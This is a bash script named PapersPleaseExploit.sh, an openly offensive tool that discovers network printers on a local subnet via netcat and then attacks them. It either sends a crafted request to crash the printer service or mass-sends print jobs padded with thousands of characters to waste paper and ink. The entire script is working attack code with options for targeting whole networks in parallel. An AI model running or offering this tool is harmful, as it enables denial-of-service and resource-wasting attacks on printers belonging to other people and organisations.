PapersPleaseExploit.sh

#!/usr/bin/env bash

#Global variables
###################
RED='\e[0;31m'
GREEN='\e[0;32m'
YELLOW='\e[1;33m'
NC='\e[0m'
####################

function help(){
cat << EOF
./Papers_Please.sh [OPTION]
OPTION:                     DESCRIPTION:
-t, --target {IP}           Specify a specific
                            target rather than
                            multiple.

-n, --network {IP/CIDR}     Manually specify
                            an address range
                            to attack.

--print {N}                 Number of jobs to
                            send to the printer.
                            If vulnerable, will
                            cause N number of
                            pages to be printed.

    -m, --message {STRING}  Send a custom message
                            to the printer when
                            performing a mass-
                            print attack. It
                            is important to have
                            the string within
                            DOUBLE QUOTES.
                            Default message
                            is "foo-bar".

    --ink [N]               Adds N number of
                            pound signs (#)
                            to the print job.
                            This option is used
                            to make a printer
                            waste a large amount
                            of ink. Default value
                            is 5500.

-i, --interval {N}          The interval before
                            another job is sent
                            to the printer. Where
                            N can be a decimal
                            i.e. 0.1 or a whole
                            number. The default
                            interval is 1.

-j, --jobs {-N|+N|N%|N}     Run N number of
                            jobs in parallel.
                            Defaults to 0.

-p, --proc {-N|+N|N%|N}     Define the maximum
                            N number of processes 
                            that can be active at
                            a time. Defaults to 1.
                            
-s, --slots {-N|+N|N%|N}    The N number 
                            of file handles 
                            available to be
                            used by parallel 
                            for jobs. Default
                            is 250.

-P, --port {PORT}           Specify a specific
                            port. Useful for
                            port-forwarded
                            hosts. Port number  
                            is set automatically 
                            based on the attack
                            being preformed.
                            PORT can be any
                            number ranging
                            from 1 to 65535.

--no-scan                   Disables the automatic
                            printer discovery 
                            scan. By disabling
                            this function the
                            attacker might not
                            know how many hosts
                            were successfully 
                            brought down. Also,
                            no scan will be
                            performed when
                            the --target or 
                            --ink flag(s) 
                            are specified.

--no-check                  Will skip dependency
                            checking.

-q, --quiet                 Suppress output to
                            terminal. Only the
                            progress bar from
                            parallel will be
                            printed in this
                            mode.

-v, --version               Print version
                            information
                            then exit.

-h, --help                  Print help
                            dialog then
                            exit.
EOF
exit $1
}

options=$(getopt -o t:n:m:i:j:p:s:P:qvh -l target:,network:,print:,message:,ink,interval:,jobs:,proc:,slots:,port:,no-scan,no-check,quiet,version,help -n "$0" -- "$@") || help '1'
eval set -- "$options"

while [[ $1 != -- ]]
do
	case $1 in
	-t|--target)     target=$2 ; shift 2                            ;;
	-n|--network)    networkRoute=$2 ; shift 2                      ;;
	--print)         printRequests=$2 ; shift 2                     ;;
	-m|--message)    message=${2// /_} ; shift 2                    ;;
	--ink) 
		shift $(($OPTIND-1)) 
		ink=$(grep -Eo "[0-9]*$" <<< "$@")	
		shift
		if [ -z $ink ]
		then 
			ink='5500'
		fi
	;; 
	-i|--interval) interval=$2 ; shift 2                            ;;
	-j|--jobs)     jobs=$2 ; shift 2                                ;;
	-p|--proc)     processes=$2 ; shift 2                           ;;
	-s|--slots)    slots=$2 ; shift 2                               ;;
	-P|--port)     port=$2 ; shift 2                                ;;
	--no-scan)     disableScan='True' ; shift 1                     ;;
	--no-check)    dependencyCheck='False' ; shift 1                ;;
	-q|--quiet)    quietOutput='/dev/null' ; shift 1                ;;
	-v|--version)  printf 'Version: 1.0.0 - Minor Irritation\n' ; exit 0 ; shift 1  ;;
	-h|--help)     help '0' ; shift 1                               ;;
	*)             printf 'Invalid Option\n' ; help '1'             ;;
	esac
done
function output(){

function reminders(){
	if [[ $1 == 'message' ]]
	then
		printf "[%bREMINDER%b] The --message and --ink flags CANNOT be\n           used without the --print flag.\n" $YELLOW $NC
	else
		printf "[%bREMINDER%b] The --jobs, --proc, and --slots flags\n           are NOT used with --target\n" $YELLOW $NC
	fi
}

function wasteInkWithLongCharacterString(){
	for i in `seq $ink`
        do
                message=$message#
        done
	message=$(sed -E 's/(\#){100}/&\n\r/g' <<< "$message")
}

if [ ! -z $target ] && [ ! -z $networkRoute ]
then
	printf "[%bFAIL%b] Cannot use --target together with --network\n" $RED $NC
	exit 1
fi

if [ -z $printRequests ] && [ ! -z $message ]
then
	reminders 'message'
elif [ -z $printRequests ] && [ ! -z $ink ]
then
	reminders 'message'
fi

if [ ! -z $printRequests ] && [[ -z $message ]] && [ -z $ink ]
then
	message="foo-bar"
else
	if [ ! -z $ink ] 
	then 
		wasteInkWithLongCharacterString
	fi
fi

if [ ! -z $target ] && [ ! -z $jobs ]
then
	reminders
elif [ ! -z $target ] && [ ! -z $processes ]
then
	reminders
elif [ ! -z $target ] && [ ! -z $slots ]
then
	reminders
fi
if [ -z $target ] && [ -z $jobs ]
then
	jobs='0'
fi
if [ -z $target ] && [ -z $processes ]
then
	processes='1'
fi
if [ -z $target ] && [ -z $slots ]
then
	slots='250'
fi
if [ -z $interval ]
then
	interval='1'
fi
if [ -z $port ]
then
	if [ ! -z $printRequests ] 
	then
		port='9100'
	else
		port='9220'
	fi
else
	if [ $port -gt 65535 ] || [ $port -lt 1 ]
	then
		printf "[%bFAIL%b] Invalid port range\n" $RED $NC
		exit 1
	fi
fi

function checkDependencies(){
	dependencies=(parallel curl grep sed ip bc nc)
	for check in ${dependencies[@]}
	do
		if [ -z `which $check` ]
		then
			printf "[%bFAIL%b] Package %s is NOT installed.\n" $RED $NC $check
			exitWhenDone='True'
		else
			printf "[%bOK%b]   Package %s is installed\n" $GREEN $NC $check
		fi
	done
	if [ ! -z $exitWhenDone ]
	then
		exit 1
	fi
}
if [ -z $dependencyCheck ]
then
	checkDependencies
fi

function progressMeter(){
	echo -n "Progress: $(bc <<< "scale=3;($1/$2)*100")%, Address: $3, Index: $4" $'\r'
}

function checkIfValidIPv4Address(){
	if [[ ${NETWORKADDR[0]} == 10 ]] || [[ ${NETWORKADDR[0]} == 127 ]]
        then
                loop=`seq 1 3`
        else
                if [ -z $target ]
                then
                        loop=`seq 2 3`
                else
                        loop=`seq 0 3`
                fi
        fi

        for i in $loop
        do
                if [[ ${NETWORKADDR[$i]} -gt 255 ]]
                then
                        printf "[%bFAIL%b] Address not in-scope of a valid IPv4 address.\n" $RED $NC
                        exit 1
                fi
        done
}

function attackSpecifiedTarget(){
	if [[ $(grep -Ex "(([0-9]){1,3}\.){3}([0-9]){1,3}" <<< $target || printf '1' ) == '1' ]]
	then
		printf "[%bFAIL%b] Not a valid IP address.\n" $RED $NC
		exit 1
	fi

	NETWORKADDR=($(sed 's/\./ /g' <<< $target))

	checkIfValidIPv4Address

	if [ ! -z $target ] && [[ $(nc -w 1 -z $target $port && printf '0') == '0' ]]
	then
		if [ ! -z $printRequests ]
		then
			printf "[%bINFO%b] Sending %s print requests to %s\n" $YELLOW $NC $printRequests $target
			counter=1
			for i in `seq $printRequests`
			do
				curl -A 'null' $target:$port -m $interval --silent --output /dev/null -X "$message"
				progressMeter $counter $printRequests $target '1'
				counter=$(($counter+1))
			done
		else
			printf "[%bINFO%b] DOSING printer at socket: %s\n" $YELLOW $NC $target
			curl -A 'null' $target:$port -m $interval --silent --output /dev/null -X 'open 999999999'
			if [[ $(nc -w 3 -z $target $port && printf '0') == '0' ]]
			then
				printf "[%bFAIL%b] Remote host is still up\n" $RED $NC
				exit 1
			else
				printf "[%bOK%b]   Remote host is down\n" $GREEN $NC
			fi
		fi
	else
		printf "[%bFAIL%b] Port on remote host is not open\n" $RED $NC
		exit 1
	fi
	exit 0
}
if [ ! -z $target ]
then
	attackSpecifiedTarget
fi

function NETWORKING(){
	if [[ -z $networkRoute ]]
	then
		local networkRoute=($(grep -Eo "^(([0-9]){1,3}\.){3}([0-9]){1,3}\/([0-9]){1,2}.*proto kernel(.){1,2}scope" <<< "$(ip route show)" | sed 's/ .*//g'))
		if [[ -z $networkRoute ]]
		then
			printf "[%bFAIL%b] Could not discover network address.\n       Try manually specifying a network address\n       using the -n or --network flag.\n" $RED $NC
			exit 1
		fi
	elif [[ $(grep -Ex "(([0-9]){1,3}\.){3}([0-9]){1,3}\/([0-9]){1,2}" <<< $networkRoute || printf '1') == '1' ]]
	then
		printf "[%bFAIL%b] Invalid network address.\n" $RED $NC
		exit 1
	elif [[ $(grep -Eo "([0-9]){1,2}$" <<< $networkRoute) -gt 30 ]]
	then
		printf "[%bFAIL%b] Invalid CIDR prefix.\n" $RED $NC
        exit 1
	fi

	local NETWORKADDR=($(grep -Eo ".*\/" <<< "$networkRoute" | sed -E 's/\///;s/\./ /g'))
        local CIDR=$(grep -Eo "\/([0-9]){1,2}" <<< "${networkRoute[0]}" | sed 's/\///')
        local HOSTS=$((2**(32-$CIDR)-2))

	####
	if [[ ${NETWORKADDR[0]} == 10 ]]
	then
		:
	elif [[ ${NETWORKADDR[0]} == 127 ]]
	then
		:
	elif [[ ${NETWORKADDR[0]} == 169 ]] && [[ ${NETWORKADDR[1]} == 254 ]]
        then
		:
	elif [[ ${NETWORKADDR[0]} == 172 ]] && [[ $(grep -Ex "^1[6-9]|^2[0-9]|^3[0-1]" <<< ${NETWORKADDR[1]} || printf '1') != '1' ]]
	then
		:
	elif [[ ${NETWORKADDR[0]} == 192 ]] && [[ ${NETWORKADDR[1]} == 168 ]]
	then
		:
	fi

	checkIfValidIPv4Address

    printf "[%bINFO%b] Need to scan: %s hosts\n" $YELLOW $NC $HOSTS
	printf "[%bINFO%b] Starting address expansion\n       for network: %s\n" $YELLOW $NC $networkRoute

    addr=${NETWORKADDR[3]}
    addrRange=()
    for i in `seq 0 $HOSTS`
    do
        NETWORKADDR[3]=$addr
        
        if [ ${NETWORKADDR[3]} == '256' ]
        then
            NETWORKADDR[2]=$((${NETWORKADDR[2]}+1))
            NETWORKADDR[3]='0'
            addr=0
        fi			
        if [ ${NETWORKADDR[2]} == '256' ]
        then
            NETWORKADDR[1]=$((${NETWORKADDR[1]}+1))
            NETWORKADDR[2]='0'
        fi
        if [ ${NETWORKADDR[1]} == '256' ]
        then
            NETWORKADDR[0]=$((${NETWORKADDR[0]}+1))
            NETWORKADDR[1]='0'
        fi
        if [ ${NETWORKADDR[0]} == 255 ] && [ ${NETWORKADDR[1]} == 255 ] && [ ${NETWORKADDR[2]} == 255 ] && [ ${NETWORKADDR[3]} == 255 ]
        then
            break
        fi

        addr=$((addr+1))

        a=${NETWORKADDR[@]}
        addrRange+=(${a// /\.})
    done
	printf "[%bINFO%b] Completed address expansion\n       for network: %s\n" $YELLOW $NC $networkRoute
}
NETWORKING

if [ ! -d tmp/ ]
then
        printf "[%bINFO%b] The tmp/ directory does not exist. Creating it\n" $YELLOW $NC
        mkdir $PWD/tmp
else
	printf "[%bINFO%b] The tmp/ directory already exists.\n" $YELLOW $NC
	doNotRemoveTmp='True'
fi

function cleanup(){
	###############
	if [ -z $doNotRemoveTmp ]
	then
		rm -rf tmp/
	else
		rm -f tmp/addressRanges.txt
	fi

	################
	if [[ $1 == 'scanFailed' ]]
	then
		printf "[%bFAIL%b] Attack failed\n" $RED $NC
		exit 1
	fi

	#################
	if [[ $1 == 'break' ]]
	then
		printf '\nInterrupt detected.\n'
		exit 1
	else
		printf "[%bINFO%b] Attack complete\n" $YELLOW $NC
	fi

	##################
	exit 0
}
trap "cleanup break" SIGHUP SIGINT SIGQUIT
for i in ${addrRange[@]}
do
        echo $i >> tmp/addressRanges.txt
done

function scan(){
	if [ -z $1 ]
	then
		printf "[%bINFO%b] Scanning for printers\n       Abort scan with CTRL+C\n" $YELLOW $NC
	else
		printf "[%bINFO%b] Rescanning printers\n" $YELLOW $NC
	fi
	trap 'break' SIGHUP SIGINT SIGQUIT
	for i in 'seq 1'
	do
		parallel -k --jobs $jobs --max-procs $processes -P $slots "nc -w 1 -zv {} $port 2>&1 | grep -Eo '.* succeeded\!|Connected to .*' >> tmp/Discovered_Printers.txt" :::: tmp/addressRanges.txt
	done
	grep -Eo "(([0-9]){1,3}\.){3}([0-9]){1,3}" tmp/Discovered_Printers.txt > tmp/addressRanges.txt 2>/dev/null
	rm -f tmp/Discovered_Printers.txt
	if [ ! -s tmp/addressRanges.txt ] && [ -z $1 ]	
	then
		printf "[%bINFO%b] No printers discovered\n" $YELLOW $NC
                cleanup 'scanFailed'			
	fi
	printf "[%bINFO%b] Discovered: %s printer(s)\n" $YELLOW $NC $(wc -l tmp/addressRanges.txt | grep -Eo "^[0-9]*")
}
if [ -z $disableScan ]
then
	scan
fi 
trap "cleanup break" SIGHUP SIGINT SIGQUIT
printf "[%bINFO%b] Starting attack\n" $YELLOW $NC
if [ -z $printRequests ]
then
	parallel --bar -k --jobs $jobs --max-procs $processes -P $slots curl -A 'null' {}:$port --silent -m $interval --output /dev/null -X 'open\ 99999999' :::: tmp/addressRanges.txt
	if [ -z $disableScan ] 
	then
		scan 'endReport'
	fi
else
	indexNumberOfAddress=1
	for i in `cat tmp/addressRanges.txt`
	do
		counter=1
		for ii in `seq $printRequests`
		do
			curl -A 'null' $i:$port -m $interval --silent --output /dev/null -X "$message"
			progressMeter $counter $printRequests $i $indexNumberOfAddress 
			counter=$(($counter+1))
		done
		indexNumberOfAddress=$(($indexNumberOfAddress+1))
	done 
fi
cleanup 'end'
}
if [ -z $quietOutput ]
then
    output
else
	output >$quietOutput
fi